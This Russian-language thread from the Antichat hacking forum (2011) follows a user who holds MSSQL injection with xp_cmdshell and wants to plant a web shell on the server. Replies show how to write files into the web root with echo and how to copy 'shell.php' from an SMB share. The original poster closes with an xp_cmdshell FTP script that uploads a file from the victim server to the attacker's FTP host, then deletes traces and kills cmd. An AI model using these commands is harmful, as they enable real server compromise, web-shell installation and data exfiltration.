HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Перезагрузить страницу Загрузка файла через MSSQL INJ
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.12.2011, 19:04
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию
Доброго времени суток, уважаемые.

Подскажите, есть ли возможность через CMD скачать файл с интернета и сохранить его локально. Т.е. задача такова: имея MSSQL injection и возможность воспользоваться

Цитата:
Сообщение от None  
;exec+master..xp_cmdshell+'bla bla bla';--
вместо bla bla bla использовать команду тоторая скачала бы шелл с моего сервера и сохранила в указанное место на уязвимый сервер.

Спасибо за ответы
 
Ответить с цитированием

  #2  
Старый 25.12.2011, 19:32
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


По умолчанию
jangle

про закачку файлов ничего сказать не могу, но есть вариант записать данные в файл, это поможет залить хоть форму загрузки файлов

cmd> echo "тут твой текст" > C:\папка_в_htdocs_\твойфайл

как и в никсах..
 
Ответить с цитированием

  #3  
Старый 25.12.2011, 20:41
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию
как вариант.

НО ...

к сожалению при повторном выполнении команды текст переписывается, а для записи в файл формы нужно будет сделать несколько строк, т.к. SQL INJ не позволяет в моем данном случае вписать длинный текст, кроме того фильтрация некоторых символов которые используются в том же html все таки есть.

к стати, для того что бы строки добавлялись в файл а не переписывались можно использовать

Цитата:
Сообщение от None  
cmd> echo "тут твой текст"
>>
C:\папка_в_htdocs_\твойфайл
В общем, буду экспериментировать и ОГРОМНЕШЕЕ СПАСИБО за наводочку - буду думать)
 
Ответить с цитированием

  #4  
Старый 25.12.2011, 20:43
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию
copy \\123.123.123.123\my_shared_dir\filename.txt c:\site\shell.php
 
Ответить с цитированием

  #5  
Старый 26.12.2011, 07:27
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию
Цитата:
Сообщение от M_script  
copy \\123.123.123.123\my_shared_dir\filename.txt c:\site\shell.php
Этот способ не подходит т.к. копировать можно с рашаренного IP по NetBIOS

С сайта же нет возможности (если я не ошибаюсь)

Пробую локально

Цитата:
Сообщение от None  
copy \\my_site.ru\abc.html.php c:\shell.php
Пишет

Цитата:
Сообщение от None  
Отказано в доступе.
 
Ответить с цитированием

  #6  
Старый 26.12.2011, 08:10
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию
Этот способ я пробовал, но что- то не так. Не получилось

Реализовал примерно так (может кому надо будет. Тут заливка C:\1.txt с уязвимого сервера на мой FTP)

Цитата:
Сообщение от None  
echo+off
echo+open+ftp.site.com>>c:\asd.txt
echo+ftp_user>>c:\asd.txt
echo+ftp_password>>c:\asd.txt
echo+mput+C:\1.txt>>c:\asd.txt
echo+quit>>c:\asd.txt
ftp+-i+-s:c:\asd.txt
del+/Q+/F+c:\asd.txt
tskill+CMD
Вообщем, направление понятно

Konqi, M_script, Nightmarе - БЛАГОДАРЮ!

Тема закрыта
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.